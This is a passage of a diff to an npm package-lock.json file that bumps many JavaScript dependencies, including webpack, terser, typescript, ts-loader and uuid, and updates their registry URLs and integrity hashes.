"flatted": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.2.tgz", - "integrity": "sha512-JaTY/wtrcSyvXJl4IMFHPKyFur1sE9AUqc0QnhOaJ0CxHtAoIV8pYDzeEfAaNEtGkOfq4gr3LBFmdXW5mOQFnA==", + "version": "3.2.5", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.5.tgz", + "integrity": "sha512-WIWGi2L3DyTUvUrwRKgGi9TwxQMUEqPOPQBVi71R96jZXJdFskXEmf54BoZaS1kknGODoIGASGEzBUYdyMCBJg==", "dev": true }, "has-flag": { @@ -12521,9 +27739,9 @@ "dev": true }, "ignore": { - "version": "5.1.8", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", - "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", "dev": true }, "json-schema-traverse": { @@ -12532,16 +27750,6 @@ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", "dev": true }, - "postcss-selector-parser": { - "version": "6.0.6", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.6.tgz", - "integrity": "sha512-9LXrvaaX3+mcv5xkg5kFwqSzSH1JIObIx51PrndZwlmznwXRfxMddDvo9gve3gVR8ZTKgoFDdWkbRFmEhT4PMg==", - "dev": true, - "requires": { - "cssesc": "^3.0.0", - "util-deprecate": "^1.0.2" - } - }, "resolve-from": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", @@ -12593,24 +27801,17 @@ } }, "table": { - "version": "6.7.2", - "resolved": "https://registry.npmjs.org/table/-/table-6.7.2.tgz", - "integrity": "sha512-UFZK67uvyNivLeQbVtkiUs8Uuuxv24aSL4/Vil2PJVtMgU8Lx0CYkP12uCGa3kjyQzOSgV1+z9Wkb82fCGsO0g==", + "version": "6.8.0", + "resolved": "https://registry.npmjs.org/table/-/table-6.8.0.tgz", + "integrity": "sha512-s/fitrbVeEyHKFa7mFdkuQMWlH1Wgw/yEXMt5xACT4ZpzWFluehAxRtUUQKPuWhaLAWhFcVx6w3oC8VKaUfPGA==", "dev": true, "requires": { "ajv": "^8.0.1", - "lodash.clonedeep": "^4.5.0", "lodash.truncate": "^4.4.2", "slice-ansi": "^4.0.0", "string-width": "^4.2.3", "strip-ansi": "^6.0.1" } - }, - "v8-compile-cache": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", - "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", - "dev": true } } }, @@ -12631,6 +27832,11 @@ "has-flag": "^3.0.0" } }, + "supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==" + }, "svg-tags": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/svg-tags/-/svg-tags-1.0.0.tgz", @@ -12649,10 +27855,10 @@ "string-width": "^3.0.0" }, "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", + "emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", "dev": true }, "is-fullwidth-code-point": { @@ -12671,78 +27877,90 @@ "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^5.1.0" } - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } } } }, "tapable": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", - "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", - "dev": true + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==" }, "terser": { - "version": "5.9.0", - "resolved": "https://registry.npmjs.org/terser/-/terser-5.9.0.tgz", - "integrity": "sha512-h5hxa23sCdpzcye/7b8YqbE5OwKca/ni0RQz1uRX3tGh8haaGHqcuSqbGRybuAKNdntZ0mDgFNXPJ48xQ2RXKQ==", - "dev": true, + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.12.1.tgz", + "integrity": "sha512-NXbs+7nisos5E+yXwAD+y7zrcTkMqb0dEJxIGtSKPdCBzopf7ni4odPul2aechpV7EXNvOudYOX2bb5tln1jbQ==", "requires": { + "acorn": "^8.5.0", "commander": "^2.20.0", "source-map": "~0.7.2", "source-map-support": "~0.5.20" }, "dependencies": { + "acorn": { + "version": "8.7.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.0.tgz", + "integrity": "sha512-V/LGr1APy+PXIwKebEWrkZPwoeoF+w1jiOBUmuxuiUIaOHtob8Qc9BTrYo7VuI5fR8tqsy+buA2WFooR5olqvQ==" + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, "source-map": { "version": "0.7.3", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", - "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", - "dev": true + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==" } } }, "terser-webpack-plugin": { - "version": "5.2.4", - "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.2.4.tgz", - "integrity": "sha512-E2CkNMN+1cho04YpdANyRrn8CyN4yMy+WdFKZIySFZrGXZxJwJP6PMNGGc/Mcr6qygQHUUqRxnAPmi0M9f00XA==", - "dev": true, + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.1.tgz", + "integrity": "sha512-GvlZdT6wPQKbDNW/GDQzZFg/j4vKU96yl2q6mcUkzKOgW4gwf1Z8cZToUCrz31XHlPWH8MVb1r2tFtdDtTGJ7g==", "requires": { - "jest-worker": "^27.0.6", - "p-limit": "^3.1.0", + "jest-worker": "^27.4.5", "schema-utils": "^3.1.1", "serialize-javascript": "^6.0.0", "source-map": "^0.6.1", "terser": "^5.7.2" }, "dependencies": { - "@types/json-schema": { - "version": "7.0.9", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", - "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", - "dev": true - }, - "ajv-keywords": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", - "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true - }, - "p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dev": true, + "schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", "requires": { - "yocto-queue": "^0.1.0" + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" } }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, + "text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", + "dev": true + }, + "thread-loader": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/thread-loader/-/thread-loader-3.0.4.tgz", + "integrity": "sha512-ByaL2TPb+m6yArpqQUZvP+5S1mZtXsEP7nWKKlAUTm7fCml8kB5s1uI3+eHRP2bk5mVYfRSBI7FFf+tWEyLZwA==", + "dev": true, + "requires": { + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.1.0", + "loader-utils": "^2.0.0", + "neo-async": "^2.6.2", + "schema-utils": "^3.0.0" + }, + "dependencies": { "schema-utils": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", @@ -12753,21 +27971,9 @@ "ajv": "^6.12.5", "ajv-keywords": "^3.5.2" } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true } } }, - "text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", - "dev": true - }, "through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", @@ -12782,6 +27988,38 @@ "requires": { "readable-stream": "~2.3.6", "xtend": "~4.0.1" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + } } }, "thunky": { @@ -12790,10 +28028,16 @@ "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", "dev": true }, + "timsort": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", + "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=", + "peer": true + }, "tiny-invariant": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.1.0.tgz", - "integrity": "sha512-ytxQvrb1cPc9WBEI/HSeYYoGD0kWnGEOR8RY6KomWLBVhqz0RgTwVO9dLrGz7dC+nN9llyI7OKAgRq8Vq4ZBSw==" + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.2.0.tgz", + "integrity": "sha512-1Uhn/aqw5C6RI4KejVeTg6mIS7IqxnLJ8Mv2tV5rTc0qWobay7pDUz6Wi392Cnc8ak1H0F2cjoRzb2/AW4+Fvg==" }, "tiny-warning": { "version": "1.0.3", @@ -12829,9 +28073,9 @@ "integrity": "sha1-bkWxJj8gF/oKzH2J14sVuL932jI=" }, "toidentifier": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", - "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", "dev": true }, "trim-newlines": { @@ -12847,14 +28091,13 @@ "dev": true }, "ts-loader": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.3.0.tgz", - "integrity": "sha512-MgGly4I6cStsJy27ViE32UoqxPTN9Xly4anxxVyaIWR+9BGxboV4EyJBGfR3RePV7Ksjj3rHmPZJeIt+7o4Vag==", + "version": "9.2.8", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-9.2.8.tgz", + "integrity": "sha512-gxSak7IHUuRtwKf3FIPSW1VpZcqF9+MBrHOvBp9cjHh+525SjtCIJKVGjRKIAfxBwDGDGCFF00rTfzB1quxdSw==", "dev": true, "requires": { "chalk": "^4.1.0", - "enhanced-resolve": "^4.0.0", - "loader-utils": "^2.0.0", + "enhanced-resolve": "^5.0.0", "micromatch": "^4.0.0", "semver": "^7.3.4" }, @@ -12899,26 +28142,6 @@ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true }, - "json5": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", - "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", - "dev": true, - "requires": { - "minimist": "^1.2.5" - } - }, - "loader-utils": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", - "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", - "dev": true, - "requires": { - "big.js": "^5.2.2", - "emojis-list": "^3.0.0", - "json5": "^2.1.2" - } - }, "semver": { "version": "7.3.5", "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", @@ -12940,15 +28163,15 @@ } }, "tslib": { - "version": "1.11.2", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.2.tgz", - "integrity": "sha512-tTSkux6IGPnUGUd1XAZHcpu85MOkIl5zX49pO+jfsie3eP0B6pyhOlLXm3cAC6T7s+euSDDUUV+Acop5WmtkVg==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", "dev": true }, "tsparticles": { - "version": "1.35.4", - "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.35.4.tgz", - "integrity": "sha512-usrQNLXoQKwBz3oOvtrwQCwCFWEX6mb4kPeJG+o9Zse119Sl/zWnPPLu9owQ3iD4hyQqGlXUjUWRwxvUBY+hPA==" + "version": "1.43.0", + "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.43.0.tgz", + "integrity": "sha512-0r9hdGaImm0cxp6FraLgKUBJy03utZ2j2LaBZus6hSpPMnsP48UrJLQKmcgRRlGWeOUq6YI6WywpbSbSoA/cKA==" }, "type-check": { "version": "0.3.2", @@ -12960,9 +28183,9 @@ } }, "type-fest": { - "version": "0.8.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", - "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "version": "0.21.3", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", "dev": true }, "type-is": { @@ -12985,15 +28208,15 @@ } }, "typescript": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.4.3.tgz", - "integrity": "sha512-4xfscpisVgqqDfPaJo5vkd+Qd/ItkoagnHpufr+i2QCHBsNYp+G7UAoyFl8aPtx879u38wPV65rZ8qbGZijalA==", + "version": "4.6.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.6.3.tgz", + "integrity": "sha512-yNIatDa5iaofVozS/uQJEl3JRWLKKGJKh6Yaiv0GLGSuhpFJe7P3SbHZ8/yjAHRQwKRoA6YZqlfjXWmVzoVSMw==", "dev": true }, "ua-parser-js": { - "version": "0.7.28", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.28.tgz", - "integrity": "sha512-6Gurc1n//gjp9eQNXjD9O3M/sMwVtN5S8Lv9bvOYBfKfDNiIIhqiyi01vMBO45u4zkDE420w/e0se7Vs+sIg+g==" + "version": "0.7.31", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.31.tgz", + "integrity": "sha512-qLK/Xe9E2uzmYI3qLeOmI0tEOt+TBBQyUIAh4aAgU05FVYzeZrKUdkAZfBNVGRaHVgV0TDkdEngJSw/SyQchkQ==" }, "uglify-js": { "version": "3.4.10", @@ -13082,14 +28305,16 @@ "is-plain-obj": "^2.0.0", "trough": "^1.0.0", "vfile": "^4.0.0" + }, + "dependencies": { + "is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "dev": true + } } }, - "uniq": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", - "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", - "dev": true - }, "unist-util-find-all-after": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.2.tgz", @@ -13139,55 +28364,13 @@ "dev": true }, "uri-js": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", - "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", "requires": { "punycode": "^2.1.0" } }, - "url": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", - "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", - "dev": true, - "requires": { - "punycode": "1.3.2", - "querystring": "0.2.0" - }, - "dependencies": { - "punycode": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", - "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=", - "dev": true - } - } - }, - "url-loader": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.2.tgz", - "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==", - "dev": true, - "requires": { - "loader-utils": "^1.1.0", - "mime": "^2.0.3", - "schema-utils": "^1.0.0" - }, - "dependencies": { - "schema-utils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", - "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", - "dev": true, - "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" - } - } - } - }, "util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", @@ -13207,14 +28390,14 @@ "dev": true }, "uuid": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-2.0.3.tgz", - "integrity": "sha1-Z+LoY3lyFVMN/zGOW/nc6/1Hsho=" + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" }, "v8-compile-cache": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.1.0.tgz", - "integrity": "sha512-usZBT3PW+LOjM25wbqIlZwPeJV+3OSz3M1k1Ws8snlW39dZyYL9lOGC5FgPVHfk0jKmjiDV8Z0mIbVQPiwFs7g==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", "dev": true }, "validate-npm-package-license": { @@ -13261,14 +28444,23 @@ } }, "vis-data": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.2.tgz", - "integrity": "sha512-RPSegFxEcnp3HUEJSzhS2vBdbJ2PSsrYYuhRlpHp2frO/MfRtTYbIkkLZmPkA/Sg3pPfBlR235gcoKbtdm4mbw==" + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.4.tgz", + "integrity": "sha512-usy+ePX1XnArNvJ5BavQod7YRuGQE1pjFl+pu7IS6rCom2EBoG0o1ZzCqf3l5US6MW51kYkLR+efxRbnjxNl7w==", + "requires": {} }, "vis-network": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.1.0.tgz", - "integrity": "sha512-rx96L144RJWcqOa6afjiFyxZKUerRRbT/YaNMpsusHdwzxrVTO2LlduR45PeJDEztrAf3AU5l2zmiG+1ydUZCw==" + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.1.2.tgz", + "integrity": "sha512-BdapguKg7sk3NvdZaDsM7T6rNhOBFz0/F4ZScxctK4klRzQPLQPTEcmbioXaZhMkkgWymzBR3lFCxL1q+eYyAw==", + "requires": {} + }, + "vis-util": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-5.0.3.tgz", + "integrity": "sha512-Wf9STUcFrDzK4/Zr7B6epW2Kvm3ORNWF+WiwEz2dpf5RdWkLUXFSbLcuB88n1W6tCdFwVN+v3V4/Xmn9PeL39g==", + "peer": true, + "requires": {} }, "warning": { "version": "4.0.3", @@ -13279,10 +28471,9 @@ } }, "watchpack": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.2.0.tgz", - "integrity": "sha512-up4YAn/XHgZHIxFBVCdlMiWDj6WaLKpwVeGQk2I5thdYxF/KmF0aaz6TfJZ/hfl1h/XlcDr7k1KH7ThDagpFaA==", - "dev": true, + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.3.1.tgz", + "integrity": "sha512-x0t0JuydIo8qCNctdDrn1OzH/qDzk2+rdCOC3YzumZ42fiMqmQ7T3xQurykYMhYfHaPHTp4ZxAx2NfUo1K6QaA==", "requires": { "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.1.2" @@ -13298,13 +28489,12 @@ } }, "webpack": { - "version": "5.58.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.58.0.tgz", - "integrity": "sha512-xc2k5MLbR1iah24Z5xUm1nBh1PZXEdUnrX6YkTSOScq/VWbl5JCLREXJzGYqEAUbIO8tZI+Dzv82lGtnuUnVCQ==", - "dev": true, + "version": "5.72.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.72.0.tgz", + "integrity": "sha512-qmSmbspI0Qo5ld49htys8GY9XhS9CGqFoHTsOVAnjBdg0Zn79y135R+k4IR4rKK6+eKaabMhJwiVB7xw0SJu5w==", "requires": { - "@types/eslint-scope": "^3.7.0", - "@types/estree": "^0.0.50", + "@types/eslint-scope": "^3.7.3", + "@types/estree": "^0.0.51", "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/wasm-edit": "1.11.1", "@webassemblyjs/wasm-parser": "1.11.1", @@ -13312,12 +28502,12 @@ "acorn-import-assertions": "^1.7.6", "browserslist": "^4.14.5", "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^5.8.3", + "enhanced-resolve": "^5.9.2", "es-module-lexer": "^0.9.0", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", - "graceful-fs": "^4.2.4", + "graceful-fs": "^4.2.9", "json-parse-better-errors": "^1.0.2", "loader-runner": "^4.2.0", "mime-types": "^2.1.27", @@ -13325,100 +28515,43 @@ "schema-utils": "^3.1.0", "tapable": "^2.1.1", "terser-webpack-plugin": "^5.1.3", - "watchpack": "^2.2.0", - "webpack-sources": "^3.2.0" + "watchpack": "^2.3.1", + "webpack-sources": "^3.2.3" }, "dependencies": { - "@types/json-schema": { - "version": "7.0.9", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", - "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", - "dev": true - }, "acorn": { - "version": "8.5.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.5.0.tgz", - "integrity": "sha512-yXbYeFy+jUuYd3/CDcg2NkIYE991XYX/bje7LmjJigUciaeO1JR4XxXgCIV1/Zc/dRuFEyw1L0pbA+qynJkW5Q==", - "dev": true + "version": "8.7.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.0.tgz", + "integrity": "sha512-V/LGr1APy+PXIwKebEWrkZPwoeoF+w1jiOBUmuxuiUIaOHtob8Qc9BTrYo7VuI5fR8tqsy+buA2WFooR5olqvQ==" }, - "ajv-keywords": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", - "integrity": 